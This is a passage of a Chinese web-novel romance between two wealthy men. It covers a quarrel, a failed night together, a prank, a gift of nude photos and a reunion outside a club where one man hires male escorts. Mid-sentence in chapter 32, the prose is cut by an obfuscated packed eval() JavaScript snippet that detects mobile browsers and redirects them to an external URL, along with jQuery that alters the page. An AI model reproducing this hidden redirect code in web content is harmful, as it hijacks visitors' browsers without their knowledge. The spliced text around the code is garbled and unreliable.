何湛程冷笑:“那二哥得赶紧给我找个嫂子才是正经,我打飞机的时候还在惦记哪天来喝二哥和嫂子的喜酒呢!” 空气瞬间就静下来了。 水哗哗地流着,冲刷着二人相握的手,鲜红的圣女果溢出来几颗,掉进了水槽里,他与他身体贴得那样近,却再也听不到彼此的心。 整个空旷的屋子,死一样的沉寂。 32. 第32章 电视节目切换回了足球赛,是去年世界杯亚洲区预选赛的重播,首轮Z队对战R队,战绩0—7,开局惨败,气得何湛程差点扔玻璃碗过去把电视砸了,第四轮主场领先Y队一球,他稍微收回点脾气,嘴里焦躁地嚼着圣女果,一个不着意,鲜红的果汁滴到家居服衣摆上,在浅驼色的薄棉布料上洇散开来。 他低头盯着胸前那抹湿红纠结几秒,然后掏手机给戚老二发消息,想要找人再换一套干净的睡衣。 等了近十分钟,戚时没回他消息。 何湛程不知道总裁大人和他又闹什么别扭。 厨房那一阵诡异的沉默后,那人不再与他玩笑,但表情很平淡,不像是生气。 何湛程知道戚老二是有脾气当场就发作的类型,对方没骂他,也没表露出任何不满,所以,何湛程认为他们俩是没事的。 那人抬手将他拨去一边,三两下将圣女果都洗出来,迈着长腿,端着玻璃碗放在客厅茶几上。 他笑嘻嘻地跟出来,热情招呼着二哥继续挨着他坐过来,那人却撂下句“我忙,你自己看吧,晚上冷,记得关窗”,然后头也不回地往楼上去了。 说好接下来一周都有空呢? 明明还是这么忙! 何湛程独自在沙发上看电视,手上抓着一颗颗饱满多汁的圣女果,不间歇往嘴里送,全情投入进球赛,不知不觉三个多小时过去,他满满一碗果子都见了底,戚老二居然还没下来找他玩儿? 他逐渐变得没意思起来。 等到快第四个小时,窗外夜幕降临,弯月高悬在黑漆漆的树梢,一阵又一阵冷风吹进来,何湛程冻得打了个哆嗦,终于意识到不对劲。 这都到饭点儿了,虽然他不饿,但戚老二怎么不问他想吃什么? 他起身关掉电视,决定去楼上找人。 他发消息问戚老二在哪间屋,对方依旧没回复,这种对他爱答不理的态度令人恼火。 搞什么幺蛾子,他可是何湛程! 人见人爱、花见花开的何湛程! 戚老二这个不识相的居然敢不巴结他,简直就是岂有此理! 幸亏提前逛过一圈别墅,他知道戚时能在的地方就几个:三楼的卧室、卧室隔壁用来临时办公的、架子上摆一堆奇形怪状的古董、但一本书都没有的书房、二楼的健身房和影厅,还有一个堆满旧时杂物破烂的小阁楼。 何湛程直奔书房去了。 走廊铺着黑白拼花地毯,人经过时脚步落地无声,何湛程站在门外,低头看了眼左胸口处的湿红,正好跟那一个点重合,有点烦躁怎么滴在这个位置,然后抬起手,敲了敲门。 “二哥,还忙没,我进去了。” 里面无人没有回应。 何湛程毫不客气地推门进去了。 门刚开了缝,一股子呛人的烟味飘了出来,何湛程顿时蹙起了眉。 难怪好几个小时见不着人,戚老二跟他待一块儿,一整个下午都没抽烟,原来是跑私人空间过烟瘾来了? 虽然闻得很不舒服,但他进办公场所习惯性带上门,还没往里走几步,一股浓烈的烟草味就将他完全侵吞进去。 整间书房里缭绕着迷幻的青雾,何湛程捂着鼻子咳了两声,挥了挥烟,终于看见失踪半天的戚大总裁。 那人一脸疲态,又忘我享受般的,正懒懒地闭着眼吞云吐雾。他长腿交叠,修长的身躯仰靠进黑色真皮沙发椅里,桌上的笔记本电脑还开着,不知何时换了套西装,头发也帅气地撩起,似乎刚开完一场线上会议,锃亮的皮鞋边扔着两个被捏瘪成细条的大金砖烟盒,发白的烟灰堆了一地。 何湛程低头给茉莉发消息,问他们开了多久的会,是不是很棘手。茉莉秒回,说会议从五点半开始,不到六点就结束了,会议内容是关于本集团对两个当下经营向好的中型传媒公司的收购问题,戚总需要在对新子公司的控股份额上拿主意。 上位者做决策而已,这并不是一件难办的事。 何湛程皱了皱眉,朝沙发上闭眼装死的那人走过去。 这人吸烟吸得这么凶,完全是自虐式的吸法儿,看看这一地的灰烬、金纸片、桌边扔的俩打火机,知道的,是懂戚老二在心烦,不知道的,还以为这货在提前给自己上坟。 何湛程一把夺过那人夹在指缝的烟,踩在脚底捻灭,瞪他:“傻逼吧你,还抽呢,半天不吱个声,我还以为你死了呢!” 戚时缓缓睁开眼,神情淡淡地瞥他一眼,没吭声,下一秒,漠然地移开目光,从抽屉又拿出一盒烟。 他手指很长,指间关节像青白色的疙瘩,两指一弯,熟练地撕开烟盒口子,低头叼上根新烟,另一手去办公桌上摸打火机。 何湛程冷笑,挥手将人叼在嘴里烟抽走,桌上的俩打火机也全没收了,不待人反应,他一个箭步冲去戚时身后,双臂猛地一推,把窗户打开通风,然后想也不想,将手里的烟和打火机全都扔下了楼。 “你到底怎么了!”何湛程怒了,转身抬腿就朝人沙发背狠踹了一脚,吼道:“说话!” 戚时没理他,心灰意懒地淡着脸,伸手又去扒拉抽屉。 黑漆桃木制的抽屉十分宽敞,里面整齐摆放着两排黄鹤楼大金砖,边角堆着Zippo所有款式的打火机。 何湛程二话不说,两步挡过去,将整个抽屉都抽出来,然后奋力抡着胳膊,冲戚时眼皮子底下的办公桌角噼里啪啦一顿猛砸。 一声又一声闷重的巨响,引得人脑袋发昏、阵阵耳鸣,似乎连整栋楼都跟着颤抖了一下,结实的抽屉被人暴力地砸成两半,数万元的烟和打火机洒了一地,掉落进戚时弹在脚边的烟灰里。 戚时皱了皱眉,看他一眼:“你发什么神经?” 何湛程扔掉报废的抽屉,伸出自己被震得发麻的右手,不客气地在对方脸上啪啪拍了两巴掌,狞笑着:“怎么,这回可算是听见了?” 戚时面无表情地别过脸:“你算我什么人,还管我抽烟。” 何湛程立刻就明白过来。 他又气又笑,强行板过人下巴,居高临下俯视他:“戚老二,你他妈几岁了?我看二十多年来一直没断奶的人是你吧?” 戚时冷着一张脸,打掉他手,说:“你别没完没了。” 何湛程却心情愉悦起来。 事情并没有脱离他的掌控,他对戚老二的表现很满意。 何湛程不计前嫌,屁股一撅,坐人大腿上,埋头趴在戚时怀里,双臂搂住人腰,哼声撒娇:“二哥,你刚才吓坏我了。” 戚时:“……” 他妈的,刚才到底是谁吓坏谁了? 这兔崽子疯起来跟个暴力狂一样,他一抽屉的宝贝就被这兔崽子一通哐哐乱砸,这股子突然飙起来的臭脾气,简直吓得他不敢乱动,整个头皮——不,他整个人都吓麻了! 戚时咽咽吐沫,身体僵硬地坐在沙发上:“我没想到,你、你力气还挺大。” 怀里人仰起头,笑容嫣然,飞快在他嘴角亲了一下:“讨厌,你才大呢!” 戚时轻嘶一口气,突然就有点头疼。 “抱我。”怀里人发话。 戚时老实伸手,将人紧紧抱住。 “吻我。”怀里人又发话。 戚时不肯,低头对人解释:“我刚抽——唔!” 怀里人伸双臂搭上他脖子,猛地将他拽了下去,然后凑上一张调皮带笑的脸,闭眼咬住了他嘴唇,舌头灵活地滑进他齿间,与他激烈地接吻。 “二哥,我好像对你说过,你是最特别的。” “嗯……” “这话我没有骗你。” “嗯……” “所以,答应我,你再也不会像刚才那样抽烟了。” “……” “戚时,我爱你。” “……好。” …… …… 昏暗的卧室,门被撞了开,夜风吹拂进来,戚时脱了衣服,埋头匍匐在何湛程的身上吻着。 何湛程愉悦地闭眼chuan|xi着,他感觉,今晚大概是要把自己交代出去了。 这将是他与他的最后一夜,事是一定要办的,何湛程想,这并不符合他宁死不做零的铁律,但对方是戚时,所以他不介意。 哦,对了,还有一件事。 “二哥,”他喊身上那人,“等一下。” 戚时不愿停下,手臂紧紧箍住他身体,一口咬在他光裸的肩头,不肯让他再跑。 何湛程笑了声,他这次真没想再跑。 艰难地挤出一点身子,将那串沉香珠子从手腕上褪了下去,小心放进了床头的抽屉里。 然后乖乖躺下,冲身上人眨了眨眼:“二哥,来吧,我是你的了!” 戚时就这么默不作声地看着。 上次也是,他们两个人吻得那么激烈,那么忘情,何湛程却突然在中途停下,当着他面,小心翼翼地将腕上那串佛珠摘下来放进抽屉,然后笑着对他说:“好了,来吧,我们继续!” 戚时不研究佛珠,但他收藏古董,他怎么会不懂何湛程是什么意思? 108颗罕见的野生奇楠沉香珠,七位数的两颗南红玛瑙作配珠,价值连城的护身符,自从他们第二次见面,何湛程就一直戴在手上。 所以何湛程认为,他们现在在做的事,是一件会玷污他护身符的肮脏事。 可何湛程刚才还说过“我爱你”。 他爱他的话,难道不应该令他与自己的私人物事都融为一体吗? 戚时最终没进行到底。 他觉得自己还是太看得起自个儿了。 何湛程是什么人? 何家三少爷,浪名在外,全沪上最叫得上名头的花花公子哥儿。 花花公子哥儿会将在外面随机遇上的一段露水情缘放在心上么? 当然不会。 戚时起身就要离开。 何湛程立刻就恼了,赤脚踩上他肩膀,不耐烦地蹬了他两下。 “愣什么呢!快干我!” 戚时沉着眉:“不。” “艹,”何湛程恼羞成怒,抓起两个抱枕全砸他脸上,骂道:“你是不是不行!” 戚时沉默着注视了那人一会儿,强掩下心中的委屈与愧意,冷冰冰回了句“是”,说:“就算是我的失误,我果然还是不习惯和男人一起做。” 何湛程懵了,愣在原地,不敢置信地望着男人离去的背影。 “你、你居然敢玩儿我?” “早点休息,”戚时身心疲惫地关上门,头也不回道,“我先去客房睡了,你今夜最好别再闹,不然我大概会从五楼跳下去。” 毫无征兆的,两行泪突然就从眼尾流了出来,何湛程恨得两眼充血,额角青筋暴起,他两手紧紧攥着床单,怒不可遏的嘶吼声震彻整栋别墅上空: “戚老二!你他妈是不是男人!你是不是男人——!!!你敢这么对我!!你居然敢这么对我——!!!” 男人身影早已不在,回应他的,是紧闭的、黑漆漆的房门,和窗外吹动着寂静夜晚的风声。 一夜无眠。 何湛程两眼发红,强行忍住想把戚老二卧室全砸个稀巴烂的冲动,一整夜抱着手机无能狂怒,戳开和他爸、他妈、他大哥、二哥、还有陈北劲那个坏心眼畜生的聊天框,建了个临时群,在群里冲那些人发疯,打语音电话,喋喋不休将戚老二骂了个通宵! 他们谁也没理他,但想必看到了他的消息,最后忍不住纷纷退群,何湛程就再继续建群,再拉他们,继续痛骂戚老二! 他不能自己不爽,他要让所有人——所有把他和戚老二牵扯起来的人!都跟着他一起不痛快! 凌晨四点半,他大哥在群里训话,言辞犀利地质问他:“戚老二脾气是大,但他不是主动招惹别人的人,你把他惹毛了,难道你就没有责任了吗?” 何湛程立刻编辑了条“滚”。 临发送前,又按捺住火气,把那条不太孝顺的话给删了。 妈的,他大哥那个混蛋,到底是哪家的人?居然胳膊肘往外拐! 戚老二是他招惹的又怎么样? 戚老二居然敢在床上临阵退缩,这难道是一个拥有着20cm几把的男人应有的做派吗?! 何湛程气得要呕血。 想他堂堂何家三少,1风凛凛!多少有身份有地位的男男女女上赶着给他睡,他瞧都不屑瞧一眼,现在!他好容易下定决心把自个儿给送出去,戚老二那个狗男人不睡他就算了,还敢说对他没感觉?! 看都不看他一眼,转身就提裤子走了?! 这简直是他生平的奇耻大辱!! 何湛程痛心疾首。 他何老三风流多年,究竟什么时候这么卑微过!! 次日,早六点半,一脸狰狞地拿着戚老二的牙刷捅了两遍马桶,然后再在小便池里洗涮干净了,给人放漱口杯里。 接着,何湛程拿起自己那支崭新的牙刷,对着镜子刷牙,笑着笑着就流出了泪。 戚老二竟然嫌弃他到了要跳楼的地步…… 他何湛程就这么差劲吗…… 不就睡过几个人吗…… 戚老二交女朋友难道不比他还多吗…… 他身材这么好,屁股这么翘,那狗畜生究竟为什么要这么对待他啊…… 早七点钟,戚时在一楼餐桌上等半天,没等人下楼来吃早饭,犹豫半天,鼓起勇气上楼来催人。 一推开门,就见何老三穿个裤衩光着膀子,嘴里叼着根泡沫牙刷,正抱着盥洗台哭得泣不成声。 戚时心疼得都要碎了,连忙凑过去扶人,关心地问了他句怎么了?何湛程一见着他,登时放声大哭起来,说二哥昨晚走就走吧,早上居然也不和他一起洗漱,他伤心欲绝,生怕这次离开了,以后就再也没有和二哥一起刷牙的机会了。 二哥心软得不行,将他家乖程儿抱在怀里哄,手一下又一下拍着乖程儿的脊背,说他今早已经洗漱过了,但程儿非要坚持的话,他大不了和他再一起刷一遍就是了。 程儿当即委屈巴巴地献上二哥的牙刷。 二哥叹了口气,心事重重地举着漱口杯接满水,刚往牙刷上挤好牙膏,不经意抬头,冷不丁瞥到镜子里某人不怀好意的恶笑,吓得他心肝儿一抖,立刻反应过来不对劲。 四顾张望,眼尖地发现小便池里漂浮着几根他牙刷上的硬毛。 戚时气笑了,压制住怒气,盯着旁边装疯卖傻那人,问:“你干的好事?” 何湛程原形毕露,笑意温柔:“没把你头摁厕所里都算我疼你昨夜肾虚不持久。” 戚时脾气蹭地一下上来,扬手就把牙刷和洗漱杯摔在他脚边,震天响的大嗓门冲他怒吼:“是,老子肾虚!老子不行!全宇宙就他妈你何三少最长最持久!行了吧!满意了吧!满意了就赶紧给老子洗漱!洗完你那张不知道亲过多少个人的臭嘴,再冲冲你那颗每晚不知道想过多少个人的脏脑子!然后赶紧穿上衣服给老子滚楼下来吃饭!” 那人吼完,咬着牙转身摔门离开,砰的一声巨响,何湛程吓得身体一抖。 脚边被溅得一地狼藉,何湛程面无表情地注视着镜子里赤|裸的自己,一秒,两秒,三秒……镜子里如此熟悉又令人厌倦的面容,渐渐幻化成另一个男人愤怒与失望的表情,他一个没忍住,泪失禁般又默默地哭了出来。 他才没有亲过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409041|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多人。 他才没有想过很多人。 戚老二这个没良心的混蛋,为什么要冤枉他?为什么要用那样一副受伤的、痛苦的表情看着他?为什么?为什么都气成那样了,还要嘱咐他穿好衣服下楼吃饭? 何湛程放下花洒,闭紧眼,人生第一次冲了冷水澡。 他需要变得清醒。 半小时后,何湛程吹干头发穿好衣服,磨蹭着下楼吃饭,发现戚时竟然还等在那里,脸色臭的像茅坑里的石头,低头扒拉着手机,装作没看见他来,桌前的饭菜一口没动。 一张两米长的餐桌,一人坐一头,隔着千山万水,遥遥相望。 何湛程刚坐下就意识到,这是重新热了一遍的粥,还有重新回了一遍锅的菜。 他餐盘左手边还放着一杯热牛奶,和一张银行卡。 银行卡上贴着张暗红色的便利贴,龙飞凤舞一行遒劲有力的漂亮大字: 柒拾萬,说了给你,就是你的。 是的,柒拾萬。 为了炫耀最近进步神速的书法功底,总裁先生特地用了三个繁体字。 何湛程想了想,在“戚老二是自我感动型/表演型人格”和“这是帮忙保密戚老二下半身有缺陷的封口费”之间,选择了“戚老二是个喜欢做冤大头的傻叉”这个显而易见的结论。 他一滴不剩地喝掉了牛奶,满不在意地将银行卡掰成了两半,扔进了装牛奶的空玻璃杯里,漠漠抬眼望向对方。 对方一脸淡定地夹菜吃饭,对他任何举动都毫无反应。 何湛程不禁有些恼,他一看见戚老二这副做作的姿态就没胃口! 饭没吃两口,立刻起身上楼拿行李,下楼离开时,经过戚老二身后,招呼都不打一声,拖着行李箱就往外走。 “站住,”到底是戚时先忍不住,回头瞥他,“你怎么走?” 何湛程立在门口,冷哼一声:“你管我。” 戚时命令道:“过来再吃点饭,吃饱了我开车送你。” 何湛程昂起下巴:“你求我,我就吃。” 戚时想起什么似的,问他:“我阁楼上有个专门收拾人的钢棍,半米长,八斤六两,大半年没用了,你要我在你腿上试试么?” 何湛程动作丝滑地转过身,五六步狂奔到桌前,一屁股坐到位置上,安安静静地埋头吃饭。 俗话说得好,能屈能伸,方为大丈夫! 他何湛程现在就是一个非常完美的大丈夫! 大丈夫吃饱喝足,拖着行李箱去院子里等坐车,戚时将他箱子放在了车后座,意思是让他坐在副驾。 何湛程才不屑戚老二那个不知道亲过多少张嘴的渣男给他的那点子名分,他不在乎副驾了,坚持将行李放后备箱,然后从兜里摸出根早上在冰箱顺来的火腿肠,剥掉了皮,一点点喂给起大早给他汪汪送行的果汁儿。 “果汁儿,”他手掌揉着小狗毛茸茸的头,俯身在它耳畔轻声说,“你这个坏蛋,我明明最喜欢你了。” 然后不再留恋,抬腿一跨,迈进了戚老二那辆路虎的后车座。 清晨京城的天空多了几分澄净,没呼吸两口新鲜空气又被随处可见的冷钢建筑群镇压下去,一路风景荒凉而苍白,偶尔途径市区几座花团锦簇的公园,退休老头老太太们聚在一块儿赏景锻炼,精神矍铄,一张张笑脸比路上步履匆匆、疲于为生活和梦想奔波的年轻人们更为鲜活灿烂。 犹如复制粘贴般的城市景观,在车窗外如梭般闪过,何湛程心不在焉地歪身靠在座椅上,缓缓伸手摸进夹克衫的衣兜。 他俩都闹成这样了,这些他精心准备的赠语,他还要不要送出去? 天知道他有多么钦佩自己的奇思妙想,他没逛礼品店,也没买明信片,但他百分百确定,这份礼物,戚时绝对会喜欢,且他自己看着也非常的赏心悦目。 这是一件艺术品。 而且,这将是一件令戚老二看到后就会追悔莫及、哭着喊着求他回来的艺术品。 一抬眼,正对上前排后视镜某人瞥过来的一双眼,何湛程不自在地别开目光,装作没看到。 驾驶座上的人却紧紧凝视着他,半晌,冷不丁开口问:“你右手上那串珠子,卖么?” 何湛程纳闷转回头,瞪他:“有病吧你!” 戚老二书房摆那么多珍稀古董,这人看不出这是他何湛程的护身符? 这可是他何老三的命根子,他就算是送出去也绝没人敢要,戚老二脑子被驴踢了吧?这穷小子禁得起他这份福气么?不怕折寿吗? 戚老二冷笑,口气狂的不行:“是,我有病,你开个价吧。” 何湛程抱臂甩人一张臭脸:“滚,不卖!” 戚老二:“怎么样才能卖?” 何湛程:“怎么样都不卖。” 戚老二:“但是我就相中你这珠子了。” 何湛程呵呵笑:“那你自己开飞机去越南深山老林里采去吧。” 戚老二:“我就想要你手上戴的这个。” 何湛程没忍住破口大骂:“你是不是脑残!是不是有病!横刀夺爱你还是人吗!戚老二我警告你,我是喜欢你,但你别太蹬鼻子上脸了!” 戚老二无动于衷,平静而执着:“程儿,我想要。” 何湛程:“……” 何湛程冷冰冰的:“给我滚,立刻,马上。” 戚老二笑了声:“少爷长眼没啊,没见着我开车呢啊?” “停车,你滚,我自己开。” “那哪儿行啊,”戚老二将手搭在方向盘,回头冲他轻挑一笑,“伺候人的活儿,还是让二哥干吧。” 不说还好,一说起来,何湛程登时怒上心头,狰狞着脸,放声癫笑起来。 “哈哈哈哈哈哈!你干?艹!你干得明白吗?” 戚时:“……” 原来这就是,道高一尺,魔高一丈,长江后浪推前浪,一山更比一山高。 这般无休无止的吵嘴,时间过得也快,当戚时将车停在机场外,俩人下车拿行李时,又很默契的都安静下来。 戚时打算再送他一段,何湛程说没必要,见戚老二沉默,他犹豫了下,从衣兜里掏出个东西,飞快地塞对方手里,说了句“分手礼物,再也不见!”,然后头也不回地跑走了。 戚时站在车旁,目光凝望着那人远去的背影,直至那只令他又爱又恨的兔崽子——那样一个万里挑一、光彩耀人的大帅哥,也终于淹没在形形色色的人群,凝成一个再普通不过的黑点,他才缓缓低下头,打量手里的东西。 是个定制的纸牌盒,偏方形,很扁薄,封面是一座漆黑城堡森林,中央燃烧着一朵红玫瑰,美得摄人心魂。 戚时意识到,这大概是何湛程写给他的赠语,一时心头滋味复杂。 何湛程是那种会给每个情人都写赠语的人吧?字里行间流露出款款情谊,令人对他欲罢不能,但实际上,这只是那位聪明的少爷即兴的玩乐,给人的感觉就像…… 就像一场精心布置的行为艺术。 戚时不太情愿地打开盒子,里面差不多是二十来张拍立得相片。 他随便抽出一张来,先看到的是白底黑字的反面: 旁人皆是欲望,而你待我是情谊; 我因此要在心中为你留出三分余地,回赠你不满十分的一半。 然后是正面: 兔崽子搔首弄姿地倚靠在酒店的盥洗台上,举着相机照着镜子自拍,胸前、臀后全都一览无遗,简直妖精一样,笑眼迷离地冲他张开嘴,颇具暗示性地伸出了软滑的舌头。 而且……一丝|不挂。 轰一声! 戚时整张脸爆红得炸开了花。 33. 第33章 高级会所的私人包厢,黑冰裂纹大理石桌面的矮几上,威士忌酒杯里流动着淡金色的光,水波粼粼的,犹如某个人含情带笑的眼眸。 沙发上的男人猛地一仰头,粗大喉结滚动两下,将杯中酒一饮而尽。 他穿偏商务化的黑衬衫与西裤,袖口挽到肘间,露出肌肉紧实的小臂,领口惯常松开两颗扣子,饱满的胸膛几乎将丝滑的蚕丝布料撑破,右手指间虚夹着支烟,薄薄的烟雾飘荡在昏暗的光影里,他低垂着眉,令人看不真切。 只知道是位来头不小的、英俊成熟的男人。 锃亮的皮鞋踩着扔在地上的领带,压迫感扑面而来。 几个面庞白净的男孩拘谨地立在桌前,等了半天,不知道他要干什么,更不敢吭一声。 终于,有个男孩忍不住了,低头捂嘴小声咳嗽了下,男人缓缓抬起眼,用一种几近刻薄的、挑剔的冰冷目光,将他们从头到脚一一扫过。 手指随意地悬到玻璃缸,男人掸了掸烟灰,下一秒,往桌上甩出七沓红钞。 “拿钱的直接走,不拿钱的留下来陪我喝酒。” 一沓红钞十万块,共七十万,一人一份,几个男孩面面相觑,犹豫到底是拿钱走人,还是陪这位出手阔绰的男人共度良宵。 十万块对他们来说,不多不少,两三天就能赚到的钱,两三天就能挥霍光,而且,他们每个人都被精心挑选出来高级男模,又都是初夜,身子金贵,虽说拿钱走人听起来不错,但这位客人往后再来,肯定就不会再点他们了。 可如果今晚他们把客人哄高兴了,随便谁被人相中了,豪车礼物还不都是要多少来多少? 那个咳嗽过的男孩预料客人会嫌弃他,没纠结多久就拿着钱走了,剩下六个人,一窝蜂涌过来,点烟、倒酒、剥葡萄皮,该唱歌的唱歌,该跳舞的跳舞,偌大华贵的包厢,一刹间迷幻光影炫耀闪动,短短几分钟就热闹起来。 活泼开朗的少年音充斥着包厢内每一个角落,一个男孩唱到嗨处,不免有些得意忘形,跑过来将话筒递给沙发上的男人,甜甜地撒娇,说“哥,你来一首”,男人皱起眉,不耐烦地说了句“你自己唱”,男孩被吓到了,意识到自己算是没戏了,出于职业素养,强颜欢笑着跑走了,转头就切了首凄哀的悲情歌曲,嚎着嗓子唱起来了。 戚时被气得头疼。 依偎在他身旁的两个男孩倒懂事儿,拿着威士忌帮他一杯杯满上,一口一个“哥哥”的喊,声线清朗,带几分利落的生脆,他拒绝不了,仰着脖子一口口往喉咙里猛灌。 他妈的,兔崽子居然敢不接他电话,如果何湛程真的不想让自己联系他,又为什么要在离别前送裸|照给他?! 何老三不是学商科的么?这行为艺术搞得有点过头了吧! 明明昨晚还吵着闹着求自己干他,今天就又开始装上高冷了? 冷不丁呛了口酒,戚时低下头咳嗽两声,夹烟的手紧紧捏着玻璃杯,手指冰凉,眼圈微微发红。 何老三那个没心没肺的小畜生,是不是要在每一个爱上他的人的心口处捅一刀,才会觉得开心? 可他不一样。 他是有尊严的正派男人。 主动拨过去一遍电话,这就已经是他戚老二的底线;消息最多发三条,一条“你那照片什么意思?”,一条“要不要回来和我交往”,一条“不回复就算了”。 呵呵,谁要跟何湛程那种臭名远扬的人谈恋爱啊? 他戚老二还嫌掉价呢! 酒过三巡,戚时醉醺醺的,叼着烟穿外套,准备起身离开。 两个陪他喝酒的男孩见他松懈,愈发变本加厉地缠着他,一只细白的手过来解他皮带,软语求他“哥哥,带我走吧”,戚时皱了下眉,刚想发火,一转头对上那男孩白净委屈的脸,他突然又觉得伤心。 男孩委屈,他也委屈。 今儿晚上,总要有一个人不委屈吧? 戚时扭头喷了口烟,将烟头捻灭,抬手揉了两把男孩儿头发,问:“会开车么?” 男孩儿一喜,连忙点头:“会!” 戚时笑了声,扬手将车钥匙抛给他,两手插裤兜,头也不回地往外走:“走着,哥带你住酒店去。” 他的地盘,倒不是睡不起,只是…… 只是放着赵博那种级别的学霸大学生不要,吃饱了撑得跑来会所玩鸭子,这要传到当初费尽心思帮他学物理的他哥的耳朵里,他哥绝逼会亲手把他眼珠子给抠出来喂狗。 还有,他骂了无数遍鸭子的、他哥身边那个小绿茶,也绝逼会冷嘲热讽地针对他。 他戚时英明一世,暂时还丢不起这个人。 戚时脚步有些踉跄,男孩贴心地扶着他走,不时在他耳边提醒“哥,小心台阶”,他醉意朦胧含混应着,二人走出“江山府”的会所大门,凉丝丝的夜风拂面吹来,戚时清醒几分,瞥了眼那只挽在他臂间的手,不免又觉得后悔。 人心真是有趣,心里面没装着谁的时候,在外头和谁乱搞一通都无所谓,一旦心里住进去一个人,甭管那人有多可恶、伤他多痛、辜负他多深,接下来哪怕再来一百个、一千个和那人模样气质相近的好人,也入不了自己的眼。 “哥,”男孩询问道,“你车是那辆路虎吧?” 戚时睫毛颤了颤,轻轻点了下头。 “哥,”男孩拉他过去,笑道,“那我们上车吧。” 戚时眼眶有些湿润,又轻轻点了下头。 真是见鬼了,分明是他要睡人,现在搞得好像他是那个被强占的似的。 男孩先开副驾门,扶他进去,戚时一条腿刚迈进去,身后突然传来一道阴阳怪气的冷笑: “戚老二,一天不见,你他妈出息了,真少爷不稀罕,跑来会所玩儿假少爷啊?” 戚时心脏一颤,猛然回头。 何湛程独身一人立在五米外的人行道上,没拿行李箱,身上还穿着早上去机场那套夹克衫牛仔裤,见他回头,迈着大步走来,扬手给了他一个清脆响亮的巴掌! “艹!” 戚时被打得偏过脸,不禁低骂出声,又忍不住嘴角翘起。 “傻逼吧你!”何湛程阴沉着一张脸,“你以后再让别人穿和我一样的衣服试试呢!大半夜在路边和这么个丑八怪卿卿我我,看一眼你俩我都嫌恶心!” 十足的正宫架势,且火力全开。 白衬衫红鞋男孩儿精明的很,连忙松开戚时的胳膊,往后退了两步,谨慎地向对方确认问:“你是?” “我是他男人,”何湛程一把将突然笑得前仰后合的某人拽自己怀里,冷眼瞥向男孩,“还不快滚?!” 男孩飞快地把车钥匙交给他,一溜烟跑了。 何湛程骂骂咧咧地把喝多的人塞车里,戚时中了邪似的,笑得喘不上气,何湛程越看越恼,又伸脚对着人屁股狠狠踹了两脚。 “笑什么笑,再笑我直接把你扔路边了!” “屁,你才不会。” 何湛程臭着脸,驾车驶上大道,寻思着戚老二家太远了,人又醉得厉害,万一晕车吐了,他还得照顾这朝三暮四的狗男人,于是开了导航,找到离这儿最近的五星,十分钟就能到。 狗男人过来牵他手,一身酒气冲天,笑意温柔:“你怎么没走?” 何湛程呵呵笑,甩掉人手,回了句“滚”。 戚时这个死直男,是不是没追过人? 明明亲口说要和他交往,却一点坚持的精神都没有,他临上飞机看到那条信息,行李都没管,攥着手机就跑出来了,没曾想,戚老二这傻叉打完一个电话就没音儿了,这一整天,他跟在这傻叉的车屁股后面乱跑,又是公司又是餐厅又是会所的,戚老二就愣是没往后瞧一眼。 打一个电话不接,不知道多打几个么? 消息才发三条! 想当初许若林要追回他的时候,电话没打五百个也有三百个了,消息天天99+,戚老二怎么就这么拽? 他凭什么这么拽?! 原来在戚老二眼里,他何湛程这么好追的? 呵,这货根本就不爱他,这一整天,连茉莉都发觉了他的存在,派人帮他付了账单又帮他买饭买水,戚老二就傻了吧唧的,跟丢了魂似的看不见他。 茉莉这人也真是的。 何湛程不免埋怨起她来,一点眼色都没有,她就提醒一下她老板怎么了? 那张嘴就这么严实,一副银丝眼镜反光得跟柯南似的,冷冰冰的板着脸,戚老二不心疼他,她还不知道多心疼下他? 等到酒店,何湛程架着戚时,在人身上摸出手机面部解锁付款,定了间房,又让服务生去隔壁男装潮牌店,帮他买两套换洗衣服和鞋送过来。 戚时靠在他肩膀上,迷迷糊糊地问:“程儿,你和我一起住么?” 何湛程翻了个白眼:“废话,你三番两次的侮辱我,我不得罚你啊?” 戚时闷笑一声,拱着他额角,撒娇:“你还要打我啊。” 何湛程拍拍他微微发红的俊脸,温柔笑:“不打你,干你。还不快谢谢我,我不仅要教你怎么做人,还要教会你怎么做一个男人。” 戚时身子一阵激灵,闪身和他隔开半米远,沉眉拒绝:“不行!” 何湛程挑眉:“哟,这就清醒了?!” 戚时头昏脑涨,揉着眉心,艰难地靠在电梯墙面,肃声抗议道:“不行!反正就是不行,说什么都不行!” 何湛程忙过去扶他,拍着他肩膀安慰道:“好啦,我知道你不行了,不用一直重复了,我这个人呢,慈悲为怀,对你这种不行的男人呢,向来是比较宽容的,只要你待会儿乖乖的,我是不会嫌弃你的,嗯?” 戚时又气又笑,挣扎着要甩开他,奈何步子踉跄,只有靠着什么东西才能站稳。 他今晚有故意把自己灌醉寻欢的打算,喝了太多酒,心里好一阵后悔。 本来他就在这段关系里占了下风,要是今晚真被人强上了,他戚老二就再也抬不起头来了! 何湛程才不管他想什么,扶着他进屋,突然又使坏松开他,趁他东倒西歪马上要摔倒了,笑意迷离的,又扑过来将他抵在门后。 手也不老实,动作熟练地扯掉他腰带,冰凉的指尖向下摸去。 “嘶——”戚时没忍住呻|吟出声。 “戚时,”那人的吻如狂风骤雨般袭来,“我同意了。” 戚时被亲得喘不过气,双手攥紧对方的腰,喘息道:“同意什么?” “同意你的追求了。” “……我什么时候追求你了?” “少装蒜!”何湛程狠狠咬他一口,“我警告你,我现在一没钱二没家,唯二的两个救援也因为你再开不了口了,连行李箱都没了,你今晚要是不给我上,咱俩彻底玩儿完!” “没你这么算账的!”戚时不痛快地别过脸,不肯再与他接吻,“你要真有那意思,就该等我酒醒了再说,而不是专挑这时候说一堆好话来糊弄我!” “不在这时候说,什么时候说?等你和那个装可爱的小白脸上了床再说么?”何湛程冷笑,一股怨气蓦地袭上心头,他不懂自己为何庆幸又难过。 或许知道。 戚时挑的人自然是顶好的,他何湛程就不一样了。 他不干净。 正握着某人*的手猛地急遽加重起来。 戚时又疼又爽,咬着后牙槽不敢乱动,瞪他:“你发什么疯,还不快松手!” 